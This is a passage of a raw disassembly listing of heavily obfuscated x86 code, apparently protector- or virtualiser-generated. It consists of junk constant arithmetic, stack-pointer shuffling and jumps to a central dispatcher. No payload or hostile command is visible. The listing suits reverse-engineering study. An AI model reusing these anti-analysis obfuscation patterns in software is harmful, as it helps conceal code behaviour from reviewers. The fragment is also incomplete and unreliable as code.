sdfs____:0058DC1Fj add al, 18h xor cl, al pop eax add cl, 0A4h push edx mov dh, 0AAh jmp loc_5906AC ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_59358B: ; CODE XREF: sdfs____:0058FD5Aj mov [esp], ecx push esp pop ecx jmp loc_596CAE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_593595: ; CODE XREF: sub_5917C0+B4Ej add ecx, 2 jmp loc_58BFD0 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_59359D: ; CODE XREF: sdfs____:0058BE73j add esi, 9CFD285Dh xor ebp, esi mov esi, [esp] add esp, 4 mov eax, ebp pop ebp add edx, eax mov eax, [esp] add esp, 4 push edi mov edi, 2 add edx, edi pop edi push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] test cl, al pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_5935D6: ; CODE XREF: sdfs____:0058BED8j mov esi, 913E817Fh sub ebx, esi pop esi sub ebp, ebx jmp loc_593F64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_5935E5: ; CODE XREF: sub_5985AE-B19Bj xor edx, 7B1959F4h inc edx jmp loc_593BB0 ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- loc_5935F1: ; CODE XREF: sdfs____:00592B41j sub ebp, 0C3A2EFA9h mov esi, ebp pop ebp add esi, 131013E6h add esi, 7C7D4310h add esi, 2AFE80A0h add ecx, 23006140h add ecx, esi jmp loc_58E945 ; --------------------------------------------------------------------------- loc_593619: ; CODE XREF: sdfs____:00595357j pop edi push esi mov esi, 658A69CBh push 7C6h mov [esp], esi not dword ptr [esp] pop esi jmp loc_5985B5 ; --------------------------------------------------------------------------- loc_593631: ; CODE XREF: sdfs____:0058DC84j not ebx and ebx, 1EB84A65h sub ebx, 1EB84A5Dh mov edx, ebx pop ebx jmp loc_591CBD ; --------------------------------------------------------------------------- loc_593647: ; CODE XREF: sdfs____:005952E8j push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 jmp loc_597DD0 ; --------------------------------------------------------------------------- loc_59365B: ; CODE XREF: sdfs____:005940C4j sub esp, 4 jmp loc_598477 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_593666: ; CODE XREF: sub_594228-3853j add esp, 4 push 5712h mov [esp+6+var_8+2], ebx push 5A90h mov [esp+0Ah+var_C+2], esi push 3B760301h pop esi neg esi shr esi, 2 js loc_59579E sub esi, 27B10321h sub esp, 4 jmp loc_590745 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5920A6 loc_593698: ; CODE XREF: sub_5920A6+554Bj jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_5920A6 ; =============== S U B R O U T I N E ======================================= sub_59369D proc near ; CODE XREF: sub_594F18-933Fj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0058C5B8 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059066B SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005921AF SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005925E6 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00594D2D SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00596850 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00597B6D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00598CC1 SIZE 00000007 BYTES sub esp, 4 mov [esp+4+var_4], ebp mov ebp, 5F851F08h push edx push 571C10FDh jmp loc_598CC1 sub_59369D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58E92A loc_5936B6: ; CODE XREF: sub_58E92A+4940j push small 1043h mov word ptr [esp+4+var_4], ax jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_58E92A ; --------------------------------------------------------------------------- mov ax, fs:[edx] push small 8EAh mov [esp], ax jmp loc_58B9C5 ; --------------------------------------------------------------------------- loc_5936D4: ; CODE XREF: sdfs____:00596FF1j add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_596E3B ; --------------------------------------------------------------------------- loc_5936E7: ; CODE XREF: sdfs____:00590A43j pop edx sub esp, 4 jmp loc_5922CC ; --------------------------------------------------------------------------- loc_5936F3: ; CODE XREF: sdfs____:loc_59329Cj push esi mov esi, 40B13C1Ch dec esi jmp loc_59510C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_5936FF: ; CODE XREF: sub_5962EB+1Fj jb loc_59241F or edx, 73EA338Ch jns loc_591FD9 mov dh, 50h pop esp loc_593714: ; CODE XREF: sdfs____:0058EB9Fj add esi, 4 xchg esi, [esp-4+arg_0] pop esp jmp loc_59184C ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_593720: ; CODE XREF: sub_591370:loc_594D19j dec bh jnp loc_591D0B add bh, 0DEh jmp loc_58C4EB ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BC4E loc_593730: ; CODE XREF: sub_58BC4E+53DFj push 7632h mov [esp+4+var_4], eax jmp sub_58BAD7 ; END OF FUNCTION CHUNK FOR sub_58BC4E ; --------------------------------------------------------------------------- loc_59373D: ; CODE XREF: sdfs____:0059111Dj sub esp, 4 jmp loc_58FEE0 ; --------------------------------------------------------------------------- loc_593745: ; CODE XREF: sdfs____:0058F623j pop ebx xor edx, [esp] xor [esp], edx jmp loc_58BDB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_593751: ; CODE XREF: sub_594228+30B3j shl edx, 1 push ecx push 24h pop ecx add ecx, 4AD11602h add ecx, 0DAE71C4h add ecx, edi push ebx jmp loc_59399B ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_59376E: ; CODE XREF: sdfs____:005952BCj add edi, 4 xchg edi, [esp] pop esp cmp ecx, eax pushf jmp loc_58B9C5 ; =============== S U B R O U T I N E ======================================= sub_59377D proc near ; CODE XREF: sdfs____:0058EBAAj ; sub_592BDC+6j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0058D8F9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058E4E2 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0058F640 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058FDF1 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 00591DD8 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005928F6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00592A59 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005933AA SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005942E5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00595001 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00596228 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00596644 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00596F84 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005981DC SIZE 00000008 BYTES sub esp, 4 mov [esp+0Ch+var_C], ecx push 0D0E7C85h pop ecx jmp loc_5942E5 sub_59377D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_593791: ; CODE XREF: sub_5941BD-47CBj pop esi add ecx, eax jmp loc_5958BA ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_593799: ; CODE XREF: sub_591370+2191j pop eax add edi, esi pop esi push edi push [esp-14h+arg_14] pop edi pop [esp-14h+arg_10] pop esp mov ecx, [esp-1Ch+arg_18] sub esp, 4 mov [esp-18h+arg_14], eax mov eax, esp add eax, 4 jmp loc_59015F ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- mov ax, [esp] push ecx jmp loc_58DECE ; --------------------------------------------------------------------------- loc_5937C6: ; CODE XREF: sdfs____:0059862Fj add ebx, 1A414DAEh jmp loc_5967B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_5937D1: ; CODE XREF: sub_591435+6AFEj inc esi jle loc_598935 xor esi, 8DCBE173h mov ecx, esi jmp loc_58DCDA ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_5937E5: ; CODE XREF: sub_594228-6269j or eax, eax jnz sub_5985AE push 23F0h mov [esp-6+arg_0+2], ecx push ebp mov ebp, 6F4F29DFh push eax mov eax, ebp mov ecx, eax pop eax mov ebp, [esp+0] add esp, 4 jmp loc_5951A5 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_59380F: ; CODE XREF: sub_5941BD+3878j shr ebx, 7 or ebx, 6ACD0CD4h jmp loc_58D74D ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_59381D: ; CODE XREF: sub_591370+21F7j inc eax jno loc_59007E jmp loc_595BEE ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- pop esi jmp loc_59124F ; --------------------------------------------------------------------------- mov cl, ch pop esp ; START OF FUNCTION CHUNK FOR sub_59576E loc_593832: ; CODE XREF: sub_59576E-4B6Cj push eax push edi mov edi, 305913C7h sub edi, 0D5BA0FD8h jmp loc_596810 ; END OF FUNCTION CHUNK FOR sub_59576E ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_59544A ; --------------------------------------------------------------------------- loc_59384D: ; CODE XREF: sdfs____:0058D7BAj push 3CE1h jmp loc_5966C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_593857: ; CODE XREF: sub_591370-3B3Ej xor edx, 55AF0F1Ch sub edi, edx pop edx jmp loc_5944E4 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- loc_593865: ; CODE XREF: sdfs____:00594E06j add eax, 262611A1h push ebx mov ebx, 703200D0h jmp loc_59675C ; --------------------------------------------------------------------------- loc_593875: ; CODE XREF: sdfs____:00590059j xor edi, 7AF8577Bh shl edi, 2 dec edi xor edi, 5B7E8843h jmp loc_59814F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_59388A: ; CODE XREF: sub_5962EB-A16Aj add esp, 4 jmp loc_59548C ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- loc_593892: ; CODE XREF: sdfs____:005956A6j xchg esi, [esp] jmp loc_58F223 ; --------------------------------------------------------------------------- loc_59389A: ; CODE XREF: sdfs____:0059416Ej add ecx, 2 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mul cl movzx cx, ah push small 6A72h mov [esp], cx movzx cx, al push cx pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592F43 loc_5938C6: ; CODE XREF: sub_592F43-702Aj mov esp, [esp+0] or eax, eax jnz loc_592A88 push 26ABh jmp loc_58C774 ; END OF FUNCTION CHUNK FOR sub_592F43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59214E loc_5938DB: ; CODE XREF: sub_59214E-5B32j ; sub_58BAD7+66B2j mov ecx, edx jmp loc_58BCF7 ; END OF FUNCTION CHUNK FOR sub_59214E ; --------------------------------------------------------------------------- loc_5938E2: ; CODE XREF: sdfs____:00593FABj push ecx push eax jmp loc_598864 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_5938E9: ; CODE XREF: sub_591435-1E80j mov [esp+0], ebx push esp mov ebx, [esp+4+var_4] add esp, 4 add ebx, 4 push ecx push ebp mov ebp, 362248F6h jmp loc_58EB07 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- pop dword ptr fs:[edx] jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_593910: ; CODE XREF: sub_591435+68Dj add ebx, 4 add ebx, 4 xchg ebx, [esp+0Ch+var_C] jmp loc_58D702 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_593924: ; CODE XREF: sdfs____:005946FCj inc ecx xor ecx, 0BBF3F72h add ebx, ecx pop ecx sub ebx, ecx sub ebx, 482B3B71h pop ecx jmp loc_58E5D2 ; --------------------------------------------------------------------------- loc_59393C: ; CODE XREF: sdfs____:0058F02Aj not dl xor dl, 21h dec dl sub dl, 0E5h sub dl, 2Eh jmp loc_591C42 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 jmp loc_596F74 ; --------------------------------------------------------------------------- loc_59395D: ; CODE XREF: sdfs____:005900CBj mov edx, 2 mov edi, edx jmp loc_5904D2 ; --------------------------------------------------------------------------- loc_593969: ; CODE XREF: sdfs____:00598C00j shl ecx, 6 dec ecx xor ecx, 5FB417AAh add ecx, 0F3B9244Fh and ebp, ecx pop ecx add ebp, 8885647h xor ebp, 61F247F8h sub ecx, 85D7203h sub ecx, ebp add ecx, 85D7203h jmp loc_5964C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_59399B: ; CODE XREF: sub_594228-ABFj mov ebx, 0DAE71C4h sub ecx, ebx pop ebx push edi jmp loc_58F473 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- push ebp push 2659h mov [esp], edi mov edi, 4E055E4Dh not edi sub edi, 462F3D10h jl loc_58EA5D add edi, 5C8240EAh jmp sub_59587A ; --------------------------------------------------------------------------- mov [esp], ecx ; START OF FUNCTION CHUNK FOR sub_591435 loc_5939D3: ; CODE XREF: sub_58D9A7+3F5Aj ; sub_591435+6B05j push ecx mov ecx, 4 sub eax, 3DB2365Ah add eax, ecx add eax, 3DB2365Ah pop ecx push eax push [esp+10h+var_C] pop eax jmp loc_5963D8 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- xor [esp], ebx xor ebx, [esp] xor [esp], ebx not ebx push 5F41h mov [esp], edi mov edi, esp add edi, 4 push esi mov esi, 45BF7B6Bh sub esi, 1 sub esi, 45BF7B66h sub edi, esi pop esi push edi push dword ptr [esp+4] jmp loc_58FB75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_593A28: ; CODE XREF: sub_594228+157Fj mov [esp+16h+var_18+2], edx jmp loc_59831B ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_593A30: ; CODE XREF: sdfs____:00598D8Bj add edi, ebx pop ebx jmp loc_593415 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_593A38: ; CODE XREF: sub_594228-672Aj and ebx, 22C341Bh inc ebx jge loc_58BD57 shl ebx, 5 push edx mov edx, 671E7C0Ah push esi loc_593A4F: ; CODE XREF: sdfs____:005926E0j sub ebx, 15A23DCCh pop edx xchg ebx, [esp+2+var_4+2] mov esp, [esp+2+var_4+2] imul cl movzx cx, ah jmp sub_59666E ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_593A67: ; CODE XREF: sub_591435-26B9j add esp, 4 add ebx, 4 jmp loc_593B98 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595678 loc_593A75: ; CODE XREF: sub_595678-B50j sub ecx, 34BE6FE6h shl ecx, 6 push eax jmp loc_592C22 ; END OF FUNCTION CHUNK FOR sub_595678 ; --------------------------------------------------------------------------- loc_593A84: ; CODE XREF: sdfs____:00592FABj mov ecx, 26B502DEh sub esp, 4 jmp loc_594D69 ; --------------------------------------------------------------------------- loc_593A91: ; CODE XREF: sdfs____:0058E980j pop eax jmp loc_58E748 ; --------------------------------------------------------------------------- loc_593A97: ; CODE XREF: sdfs____:0058DC3Aj mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 508Dh mov [esp], edi jmp loc_5940A4 ; --------------------------------------------------------------------------- loc_593AB3: ; CODE XREF: sdfs____:00595791j mov edx, [esp] add esp, 4 jmp loc_58EBAF ; --------------------------------------------------------------------------- loc_593AC1: ; CODE XREF: sdfs____:0059223Cj jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_593AC6: ; CODE XREF: sub_591370+77B0j push [esp-1Ch+arg_18] pop edx push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp-18h+arg_14] pop esp ; END OF FUNCTION CHUNK FOR sub_591370 ; START OF FUNCTION CHUNK FOR sub_591435 loc_593ADA: ; CODE XREF: sub_591435+6FFDj push eax push esp pop eax add eax, 4 jmp loc_59828A ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_593AE7: ; CODE XREF: sdfs____:0058BCB9j xor [esp], ebp xor ebp, [esp] pop esp jmp loc_5984ED ; --------------------------------------------------------------------------- loc_593AF3: ; CODE XREF: sdfs____:00591DD3j mov ecx, 577F01E2h mov edx, ecx push dword ptr [esp] pop ecx add esp, 4 mov ecx, edx pop edx and ecx, 24E22AE3h sub ecx, 1A250DFAh push edx jmp loc_5945CA ; --------------------------------------------------------------------------- loc_593B16: ; CODE XREF: sdfs____:0058EC92j sub esp, 4 mov [esp], edi mov edi, 6F952A9Dh push 906AD565h pop esi sub esi, 0AD47462h sub esi, 3A89781Eh add esi, edi add esi, 3A89781Eh jmp loc_58E634 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_593B43: ; CODE XREF: sub_591370+11BAj shl ebp, 4 xor ebp, 0FC307F90h jmp loc_591FFB ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_593B51: ; CODE XREF: sub_59841F-C8ECj ; sub_591435-2685j dec ecx jge loc_58C3F6 shl ecx, 4 jmp loc_595123 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- push 298Eh pop esp ; START OF FUNCTION CHUNK FOR sub_591370 loc_593B66: ; CODE XREF: sub_591370+4FB7j pop [esp-1Ch+arg_18] pop esp btr [esp+0], ax pushf jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_593B75: ; CODE XREF: sub_5941BD+497Ej shl eax, 1 sub eax, 243D470Ah mov ebx, eax pop eax and ebx, 44B35AABh jmp loc_59641B ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_593B8A: ; CODE XREF: sub_5917C0+14A4j sub esi, 0F8F81BC6h mov edi, esi pop esi jmp loc_598566 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_593B98: ; CODE XREF: sub_591435+263Bj xchg ebx, [esp+18h+var_18] mov esp, [esp+18h+var_18] push 0DD9h mov [esp+0], ebx mov bl, 56h push ebx mov bl, 7Eh jmp loc_59799B ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_593BB0: ; CODE XREF: sub_5985AE-4FC2j inc edx sub edx, 0BE2829CCh sub ebx, edx mov edx, [esp-4+arg_0] add esp, 4 jmp loc_597D2C ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_593BC7: ; CODE XREF: sub_5941BD-6B08j mov [esp+14h+var_14], edx mov edx, 26EF604Eh sub edx, 1 sub edx, 26EF5E4Dh jmp loc_58FFD7 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_593BE0: ; CODE XREF: sub_594228-160Bj add al, 0DCh pop edx add al, 9Ch add al, dl sub al, 9Ch jmp loc_5976ED ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- lodsb push ebx push ax mov ah, 3Ch mov bl, ah mov ax, [esp] push eax mov eax, esp add eax, 4 add eax, 2 xchg eax, [esp] jmp loc_592DA3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_593C0D: ; CODE XREF: sub_591435-44Aj mov bl, ch mov al, bl jmp loc_58F264 ; --------------------------------------------------------------------------- loc_593C16: ; CODE XREF: sub_591435+4010j ; sdfs____:005966BEj xchg esi, [esp+4+var_4] pop esp mov [esp+0], ebx push dword ptr [esp+0] pop eax add esp, 4 push 4B0Fh jmp loc_594E11 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_593C2E: ; CODE XREF: sub_5985AE-38C3j mov ebp, 4 add ecx, ebp pop ebp push eax mov eax, 4 add ecx, eax pop eax sub esp, 4 mov [esp-8+arg_4], ecx push [esp-8+arg_8] pop ecx pop [esp-8+arg_4] mov esp, [esp-0Ch+arg_8] push 5DE3h mov [esp-8+arg_4], edi jmp loc_58D0EA ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- loc_593C60: ; CODE XREF: sdfs____:0058E6A2j mov eax, [esp] add esp, 4 xchg edi, [esp] mov esp, [esp] or [esp], ax pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_593C79: ; CODE XREF: sub_591435+4FBBj jmp loc_5944A5 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_593C7E: ; CODE XREF: sdfs____:00596F7Fj pop esi sub ebp, 76CB6215h add ebp, esi jmp loc_590A2C ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_58F233 ; --------------------------------------------------------------------------- loc_593C95: ; CODE XREF: sdfs____:005981C4j pop esp mov ax, [esp] jmp loc_596FB6 ; --------------------------------------------------------------------------- loc_593C9F: ; CODE XREF: sdfs____:0058D4DCj jo loc_592CC4 add ebx, 508575F5h mov edx, ebx pop ebx shr edx, 5 neg edx xor edx, 69B7815h jz loc_58FA48 xor edx, 0A1CAD6A4h sub edx, ebx jmp loc_5927A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_593CCC: ; CODE XREF: sub_5987BC-BB42j ; sub_591435+76DDj mov si, 0EC9h sub si, 6A00h push ax mov ax, 4983h add si, 3AD0h sub si, ax jmp loc_597AF3 ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- loc_593CE8: ; CODE XREF: sdfs____:0059509Ej sub edi, 0D273CBD4h sub ebx, edi push dword ptr [esp] pop edi add esp, 4 jmp loc_594E0B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_593CFF: ; CODE XREF: sub_594228-84BAj mov [esp+6+var_8+2], ebx xor [esp+6+var_8+2], 53CA11E1h pop esi xor esi, 53CA11E1h pop ebx push esi mov esi, 646047B4h sub eax, esi mov esi, [esp+2+var_4+2] jmp loc_598957 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- loc_593D21: ; CODE XREF: sdfs____:00593D5Cj pop edi xor ebp, eax pop eax sub eax, ebp jmp loc_58E8BE ; --------------------------------------------------------------------------- loc_593D2C: ; CODE XREF: sdfs____:00591F63j add eax, ebp add eax, 6128440Fh sub esp, 4 mov [esp], ebp push eax mov eax, 568D42F7h push edi push 273E71F1h pop edi not edi xor edi, 10E73B90h jo loc_58D7BF xor edi, 0A3B6D3B4h mov ebp, edi jmp loc_593D21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59214E loc_593D61: ; CODE XREF: sub_59214E+6j mov [esp+0], ecx push edx jmp loc_58DDEC ; END OF FUNCTION CHUNK FOR sub_59214E ; --------------------------------------------------------------------------- loc_593D6A: ; CODE XREF: sdfs____:0058F273j not edi jmp loc_58CE0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_593D71: ; CODE XREF: sub_59587A+2F8Fj push 370Ah mov [esp-6+arg_0+2], ebp mov ebp, 67DF2C66h add ebp, 5134474Eh jo loc_592793 dec ebp jnz loc_58DBC5 shr ebp, 3 mov cl, 0FFh mov edi, edi loc_593D98: ; CODE XREF: sdfs____:0058E795j and edi, 7ECA5944h jmp loc_590D59 ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- loc_593DA3: ; CODE XREF: sdfs____:0058F8B7j add eax, ebx add eax, 3DF372D9h push ebx mov ebx, 8604B76h inc ebx push edi push ebx push esi mov esi, 32C20C25h push ebp mov ebp, 7B66477h xor esi, ebp pop ebp shl esi, 3 jp loc_5923DA add esi, 8D8CC6CFh mov ebx, esi pop esi mov edi, ebx loc_593DD6: ; CODE XREF: sdfs____:0058EA0Cj sub ecx, ebp add ecx, 430745AEh pop ebp xor ecx, [esp] jmp loc_590DB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_593DE7: ; CODE XREF: sub_59587A-9467j inc edi add edi, 0B7D29842h xor eax, edi pop edi xor eax, 7CD91651h not eax inc eax xor eax, 0BDB795B0h jmp loc_5986CD ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_593E03: ; CODE XREF: sub_5985AE-1411j mov ecx, esp sub esp, 4 jmp loc_594CE8 ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- loc_593E10: ; CODE XREF: sdfs____:00590DB4j xor ecx, [esp] mov esp, [esp] jmp loc_590906 ; --------------------------------------------------------------------------- loc_593E1B: ; CODE XREF: sdfs____:00595B14j add ecx, ebp pop ebp push eax mov eax, 4 sub ecx, eax jmp loc_58C97C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_593E2B: ; CODE XREF: sub_5985AE-299Dj push dword ptr [edi+eax*4] push dword ptr [esp+0] pop eax jmp sub_5917AD ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_593E37: ; CODE XREF: sub_594228-2569j add ecx, 6DBEC6C3h add ebx, ecx pop ecx push esi jmp loc_58CEA8 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- mov cx, [esp] push 9B0h mov [esp], esi push esp pop esi jmp loc_58F2EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CDE6 loc_593E59: ; CODE XREF: sub_58CDE6+8D6Aj add ebx, edx pop edx xor ebx, 78C865D2h add edx, ebx pop ebx jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_58CDE6 ; --------------------------------------------------------------------------- loc_593E6A: ; CODE XREF: sdfs____:00595BE9j add edx, 4 xchg edx, [esp] pop esp push 127Dh mov [esp], eax mov eax, 24h jmp loc_596562 ; --------------------------------------------------------------------------- loc_593E86: ; CODE XREF: sdfs____:00594FAEj push eax push esi mov esi, 6AB56978h jmp loc_593363 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_593E92: ; CODE XREF: sub_5941BD-14B9j pop esi add esp, 4 push 5121h mov [esp+8+var_8], ebp mov ebp, 2BA86866h shl ebp, 2 push edi jmp loc_58C9F9 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 jmp loc_58C558 ; --------------------------------------------------------------------------- loc_593EC2: ; CODE XREF: sdfs____:00591E84j xchg ecx, [esp] pop esp mov [esp], edi mov edi, esp push ebx mov ebx, 7FF04663h push ebp mov ebp, 4EA06F63h or ebx, ebp pop ebp shl ebx, 2 xchg ecx, ebx not ecx inc ecx jmp loc_597C28 ; --------------------------------------------------------------------------- loc_593EE7: ; CODE XREF: sdfs____:00595EE6j push ebx add dword ptr [esp], 79E17818h pop ebp sub ebp, 79E17818h jmp loc_58D4B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_593EFB: ; CODE XREF: sub_5917C0+1859j push eax mov ah, 94h xor cl, ah mov eax, [esp+0] add esp, 4 jmp loc_597892 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- loc_593F0E: ; CODE XREF: sdfs____:0059337Cj xchg eax, [esp] jmp loc_58DA87 ; --------------------------------------------------------------------------- loc_593F16: ; CODE XREF: sdfs____:0058BC1Ej sub edi, 464FC1EDh sub ebx, 7E217791h add ebx, edi push eax jmp loc_595F3C ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_591B5B ; --------------------------------------------------------------------------- loc_593F33: ; CODE XREF: sdfs____:0058F8D7j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi push esi mov esi, 4 sub edi, 19D174F3h jmp loc_595A83 ; --------------------------------------------------------------------------- ; START OF 